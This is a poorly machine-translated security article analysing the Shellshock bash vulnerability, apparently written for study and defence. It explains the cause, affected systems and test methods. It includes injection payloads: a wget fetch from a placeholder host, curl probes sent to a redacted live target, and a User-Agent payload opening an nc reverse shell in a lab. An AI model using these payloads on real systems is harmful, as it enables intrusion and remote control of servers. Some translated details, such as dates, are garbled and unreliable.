Shellshock vulnerability review and analysis test

Shellshock vulnerability review and analysis test

0x00 vulnerability Overview

Many may have a deep memory of the Heartbleed Bug in the first half of 2014. In September 2014, another "destruction-level" vulnerability-Bash software security vulnerability emerged. This vulnerability was discovered by Stéphane Chazelas, a French GNU/Linux enthusiast. Subsequently, the US computer emergency response center (US-CERT), RedHat and a number of security companies issued a warning on Wednesday (September 24, 2014 Beijing time.

 

For details about this security vulnerability, see CVE-2014-6271 and CVE-2014-7169.

The vulnerability information is as follows:

Bash Shellshock

X-CERT Threat Response Level A vulnerability-related CVE No. CVE-2014-6271 vulnerability discoverer St é phane Chazelas (France) vulnerability discovery event: October 13, 1.14 vulnerability impact objects: bash 4.3 to bash Linux/Unix systems: October 13, bash software widely used in UNIX and Linux systems has been exposed to a series of vulnerabilities (Bash or Shellshock) that have existed for decades, which has had a huge impact in the industry.

The initial bug has been fixed, but raised concerns about the Bash parsing program may generate a 0-day vulnerability, followed by mining the second vulnerability CVE-2014-7169, this vulnerability is quickly fixed.

Many Linux versions have released the Bash version of the fix overnight. Most FreeBSD and NetBSD, which account for a large share of the server field, have disabled the function of auto-import functions by default, to cope with future vulnerabilities.

As the storm of this vulnerability gradually subsided, many people in the industry are also thinking about why it has been so wide and has a huge impact.

Andrew C. Oliver, a column author of InfoWorld, expressed his opinion in an article. He believes that the popularization of CGI technology is a mistake. It is precisely because of the irrationality of CGI technology that Shellshock can take advantage of it.

CGI was invented when Web technology emerged. It was one of the earliest technologies to create dynamic Web content. It converts an HTTP request to a shell call.

Shellshock uses the Bash vulnerability when importing environment variable functions. When Bash is started, it will not only import this function, but also execute the command after the function definition. In the design of some CGI scripts, data is transmitted through environment variables, which gives the data provider the opportunity to exploit the Shellshock vulnerability.

0.1 Bash Introduction

Bourne Again Shell (BASH) is the most popular SHELL implementation on GNU/Linux. It was born in 1980, after decades of evolution, a simple terminal command line interpreter has evolved into a multi-functional interface deeply integrated with the GNU system.

According to Wikipedia, Bash is a type of Unix shell. The first official version was released in 1989. It was originally intended to be used on the GNU operating system, but can run on most Unix-like operating systems, both Linux and Mac OS X v10.4 use it as the default shell. It is also ported to Cygwin and MinGW on Microsoft Windows, or a DJGPP project that can be used on a MS-DOS. It is also transplanted on Novell NetWare and Android.

0.2 CGI technology and script Parsing

CGI (Common Gateway Interface) is a method for running programs on Web Servers Based on browser input.

CGI scripts allow the browser to interact with users, such as information comments, form selection, and database query.

As a web designer, a CGI script is usually created on the client. programs on the server side are used to process user input and the results are returned to the user.

The background processing program can not only use PHP, Python, Perl, and other scripts to accept requests, interpret execution, and respond to the client, but can also use Bash scripts to explain and execute user-submitted GET or POST requests.

0.3 Bash vulnerability and remote execution

Hole exploitation is generally divided into local exploitation and remote execution exploitation.

After the vulnerability broke out, some researchers initially thought it was a local vulnerability and therefore could not be used well.

With the in-depth research, the study found that it can be remotely used. Bash was announced to have a remote code execution vulnerability in September 24, 2014.

The Bash vulnerability is actually a classic injection attack, that is, it can inject a command into bash, from bash1.14 to 4.3.

Due to the remote execution vulnerability in Bash storage, in theory, a Bash command can be injected into an HTTP request for remote execution, for example:

() { :;}; wget http://www.XXX.com/testvul.sh

For websites that use Bash scripts to process user requests, attackers can forge data and transmit it to a server over the network to directly or indirectly trigger a bash script, so that malicious code can be remotely executed.

As Bash is a widely integrated software, almost all systems are running, from Rapsberry Pis to mobile phones, to data center servers and mainframes.

Since the function of auto-import functions exists at least from Bash 3.0, this bug may have existed in most systems for nearly 20 years.

Since the Apache server uses mod_cgi (excluding mod_php or mod_python) to run scripts, data is transmitted through environment variables, which can be regarded as the oldest technology in the Internet field.

Some other clients will also be affected-for example, the Linux DHCP Client-it uses Bash scripts to make the changes take effect, this also enables hackers to attach malicious data to DHCP packets for attack purposes.

Since Bash is the default shell on most Linux systems (and OSX), this vulnerability means that harmful data is compiled into environment variables, uploaded to the server, and the server is triggered to run the Bash script, this completes the attack (passing an attacker ONED environment variable through to a server running a CGI script cocould trivially be compromised ).

For example, the HTTP header User-Agent is usually passed through the Environment Variable HTTP_USER_AGENT. This means that the vulnerability can be tested using the following command:

curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi

For servers that do not pass the User-Agent, there is often another possibility of attack-such as Cookie, Referer, or request itself. In addition, this bug not only affects CGI scripts and Apache -- if other programs receive and pass harmful environment variables (for example, the ssh service will receive the TERM or DISPLAY environment variables ), these processes then run a Bash script (or run it by calling system (). The same vulnerability will also be exploited.

Unlike HTTP, SSH generally does not allow anonymous requests-you must log on before triggering this vulnerability-but the code hosting service providers Allow Anonymous Logon (even if you only log on to a shell with limited permissions ), to prevent intrusion, GitHub updated their enterprise-level products and Bitbucket updated their servers.

The Bash vulnerability can be remotely executed, so it will produce the same effect as the exploitation of struts2 and other vulnerabilities. For attackers, it is usually "take the station or take the server" and then perform other operations.

The following is a simple image description by referencing an image.

0x01 vulnerability Cause Analysis

The vulnerability information first came from 34,765th vulnerability reports under exploit-db, a well-known foreign vulnerability website, where a verification command was displayed:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test "

If you run the preceding command locally on a linux or unix system with a version less than bash 4.3, the following output may be obtained:

Vulnerable this is a test

If the first line of vulnerable appears, it indicates that the system has an arbitrary command execution vulnerability caused by bash program defects.

Windows Cygwin Terminal:

The local execution result of Kali 1.0.9-i386 is as follows:

After fixing the bug in the CVE-2014-6271, the problem was solved immediately, and most vendors provided the repaired Bash version in time. There is no reason for an Internet-oriented server to fix it immediately, because this vulnerability will completely put the host under the control of others (as a user identity used by Apache. However, everyone's eyes have been focused on this field, and new bugs have been discovered. While using Bash's shell redirection and function Auto Import, The CVE-2014-7169 appears. The result is that the files on the remote machine can be read and written at will. The method used is the same as the previous one, but this time the shell redirection symbol is used <or>.

env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo

This time, the parser first stops at the = Sign (because (a) = is not a valid Bash expression), but it is vital that the <sign is left in the parsing pipeline. The next escape character \ will insert some spaces (but irrelevant) between the parser's redirection commands, and eventually the subsequent commands become a redirection command:

>echo data

This is a valid Bash command, which is equivalent to the following more common syntax:

date >echo

Note that another redirection symbol is also valid here. It can redirect the input to a file. So this bug has been fixed.

Of course, being able to set any environment variables can allow attackers to control everything-modifying IFS environment variables (a previously exploited vulnerability) or even modifying PATH environment variables, it will affect the behaviors of newly started shell scripts. Any of these methods will cause problems. However, at least the environment variables involved in SSH and CGI attacks mentioned above are either limited (TERM, DISPLAY, etc.) or prefixed with HTTP_USER_AGENT or HTTP_REFERRER. Therefore, except for the program represented by the prefix name, other programs are limited.

Some people expect security vulnerabilities in the Bash auto-import function, and worry about bugs in the future. By default, NetBSD disables the automatic import function in Bash, And FreeBSD does the same. Instead, it provides this function in the form of new options (-- import-functions.

1.1 normal Execution Process Analysis

Let's take a look at the symptoms of this security issue. This problem occurs because of a Bash function that allows environment variables to be used in the Bash shell to define functions. Function is used to encapsulate frequently called code and reuse it elsewhere. All shell scripting languages have this function. The function definition in Bash is as follows (most other shells are also ):

Function hello {echo "Hello"} hello # Call this function

However, Bash also has a method to define functions using environment variables, which is unique to it.

If the value of the environment variable starts with the character "() {", the variable will be treated as an import function definition (Export ), this definition takes effect only when shell is started.

$ export HELLO="() { echo 'Hello'; }"$ HELLO-bash: HELLO: command not found$ bash$ HELLOHello

The test results of the preceding statement in the Cygwin Terminal environment are as follows.

Use the following statement to view the environment variables and find the defined values.

export X='() { echo "inside X"; }; echo "outside X";'

The following is a test of Bash's unique definition method, because this unique method takes effect only when shell is started. Therefore, most of the sample code used to demonstrate this vulnerability has only one line:

env HELLO="() { echo 'Hello'; }" bash -c HELLO

The role of this line of code is the same as that of the statements executed in the following step.

The env command indicates "set the following environment variables first, and then run the following program". After the execution is complete, the current environment variables are not affected. In fact, directly write

env HELLO="() { echo 'Hello'; }" bash -c HELLO

Or.

The bash command specifies the-c option to execute the HELLO function when bash is started. A new bash must be created here, because the function definition is parsed only when bash is started.

The normal function definition and execution are as follows:

env HELLO="() { echo 'Hello'; }" bash -c HELLO

1.2 abnormal Execution Process Analysis

Through the above analysis of bash execution process, we can see that bash has design defects in processing code that contains environment variable assignments with function definitions such, the string after the function definition is incorrectly executed as a command.

Therefore, the actual use is irrelevant to the env command, if you try to make the system accept an environment variable value containing "[Function Definition] + [arbitrary command]", the code execution in the "[arbitrary command]" section can be triggered.

After a malicious command is added to a valid environment variable, Bash runs the malicious command first. The following figure shows the abnormal execution structure:

Shellshock command digoal (Symantec)

Exception method. If the following code is injected (note that the function definition in this example uses single quotes, the function body content is empty, and the function body has an echo Statement ).

env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

The preceding input injects an echo Bash is vulnerable code into the environment variable.

For example, "niu A" and "niu C" are normally executed, and the "niu B" in the middle is executed.

Bash vulnerability occurs because the code in the function body is executed by default. The execution result is as follows.

The problem occurs when bash parses the function definition and executes the function, it automatically imports the function parser beyond the end of the function definition, and then runs the subsequent code, this vulnerability is triggered when every new bash is started, which is equivalent to executing any code.

If a vulnerability exists, the system will also press "Bash is vulnerable". In the repaired system, the result of the above command should only print "Hello" without executing other statements.

1.3 source code-Level Analysis

As there are related analysis articles on the internet, please refer to the following link for details:

Http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
Http://neilscomputerblog.blogspot.com/2014/09/shellshock-vulnerability-patch-and.html
Http://blog.csdn.net/u011721501/article/details/39558303
Http://blog.knownsec.com/2014/09/bash_3-0-4-3-command-exec-analysis/
Http://www.antiy.com/response/CVE-2014-6271.html

Http://www.bkjia.com/Article/201409/339021.html
We look forward to more in-depth analysis of the God-level source code.

0x02 impact Scope Analysis

The Bash vulnerability system allows unauthorized remote users to specify Bash environment variables. Therefore, the system that runs these services or applications may exploit the vulnerability.

Any program that can pass environment variables to bash by some means is affected. Of course, the most typical is the CGI program written by bash. By adding the constructed value to the request string, the client can easily attack the server running CGI.

At present, most websites seldom use CGI, so the problem is not too big. However, many network devices, such as routers and switches, use CGI programs written in Perl or other languages. If bash is called at the underlying layer, there is a risk.

Any known program that meets the following two conditions can be used to cause arbitrary command execution through the bash vulnerability:

1. The program uses bash as the script interpreter to process the environment variable assignment at a certain time. 2. The submission of the Environment Variable assignment string depends on the user input.

Currently, the following systems may be used:

Apache HTTP Server Running CGI scripts (through mod_cgi and mod_cgid); some DHCP clients; Various Bash network services; OpenSSH server using ForceCommand; linux-based routers using CGI as network interfaces and various embedded devices using Bash. ......

0x03 vulnerability verification test

3.1 Test and comparison of different tools

Test the same address using different tools.

Tool 1 uses Crow Strike ShellShock vulnerability to test the Bash vulnerability. This tool can scan the vulnerability in batches and test a website with the following results:

To analyze the Test characters of the tool, Wireshark is used to capture packets. It is found that the tool mainly tests three fields: Test, Cookie, and Referer. The packet capture results are as follows:

Tool 2

Tool 3

3.2 local test

Construct a different POC locally to test the Bash vulnerability. If we open Cygwin Terminal and use different test cases for testing, the test results under Cygwin Terminal are as follows:

3.3 Remote Test

Select the Target found on the internet, test the Bash vulnerability, and use the curl tool.

The test command is as follows:

curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"'  http://XXX:8080/cgi-bin/XXX.cgi

The test is as follows:

Construct the Referer, Cookie, and User-Agent field commands in the http protocol, use Burpsuit, and send the command to the server with the Bash vulnerability. Three Vul characters are returned, the parameters passed by the three fields are parsed and processed by the backend scripts of the server. The test results are as follows:

Construct other Poc to get the server user name and password.

0x04 vulnerability exploitation Test

Set up a server with a Bash vulnerability locally, and access the CGI page using a browser. Normal access is displayed.

Intercept is off.

Use Burpsuit to intercept is on.

Modify the User-Agent field in http

() { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"

After an http request is sent, the nc rebounded and you can view the user name, directory, system version, and other information.

0x05 references

1) http://www.freebuf.com/vuls/44994.html

2) http://www.freebuf.com/news/44768.html

3) http://www.freebuf.com/news/45436.html

4) http://blog.csdn.net/u011721501/article/details/39558303

Http://www.srxh1314.com/bash-cgi-bin.html (5)

6) http://www.linuxidc.com/Linux/2014-09/107250.htm

7) http://www.freebuf.com/tools/45311.html

8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability-overview-info/

9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html

10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0

11) http://blog.cloudflare.com/inside-shellshock/

12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/

13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock-holes-found

14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx

Http://www.antiy.com/response/CVE-2014-6271.html (15)

16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html

17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

18) http://www.bkjia.com/Article/201409/337912.html

19) http://www.bkjia.com/Article/201409/337912.html

20) http://fish.ijinshan.com/cgibincheck/check

(21) https://access.redhat.com/articles/1200223

22) http://www.antiy.com/response/CVE-2014-6271.html

23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html

24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html

25) http://mashable.com/2014/09/26/what-is-shellshock/

26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9

27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0

28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1

(29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring-internet/

Http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it-insecure

31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock

32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes

Http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability (33)

34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/

(35) http://coolshell.cn/articles/11973.html

36) http://www.infoq.com/cn/news/2014/10/shellshock

37) http://www.infoq.com/news/2014/09/shellshock

38) http://www.freebuf.com/articles/web/45520.html

39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html

40) http://mobile.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod-networks. aspx

41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html

42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/

43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html

Http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html (44)

45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the-shellshock-bash-vulnerability

(46) https://github.com/gry/shellshock-scanner

(47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock-bash-bug-on-your-internal-network/

48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under-attack

49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect-shellshock-vulnerability

50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html

51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

52) http://milankragujevic.com/projects/shellshock/

53) http://milankragujevic.com/post/64

(54) http://breizh-entropy.org /~ Nameless/random/posts/shellshock_shits_got_real/

55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock-bash-bug-on-your-internal-network/

Https://github.com/gry/shellshock-scanner (56)

57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/

Http://businessinsights.bitdefender.com/shellshock-bashbug (58)

59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock-vulnerability.html

Http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html 60)

61) https://shellshocker.net/

62) https://github.com/mubix/shellshocker-pocs

3) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/

Http://www.freebuf.com/articles/system/45390.html (64)

65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559

66) http://it.deepinmind.com/%E5%85%B6%E5% AE %83/2014/09/26/everything-you-need-to-know-about-shellshock.html

Http://www.securitysift.com/the-search-for-shellshock/ (67)

Http://blog.cloudflare.com/inside-shellshock/ (68)

Http://blog.regehr.org/archives/1187 (69)

Https://github.com/mubix/shellshocker-pocs (70)

71) http://pastebin.com/mG1grQwK

72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/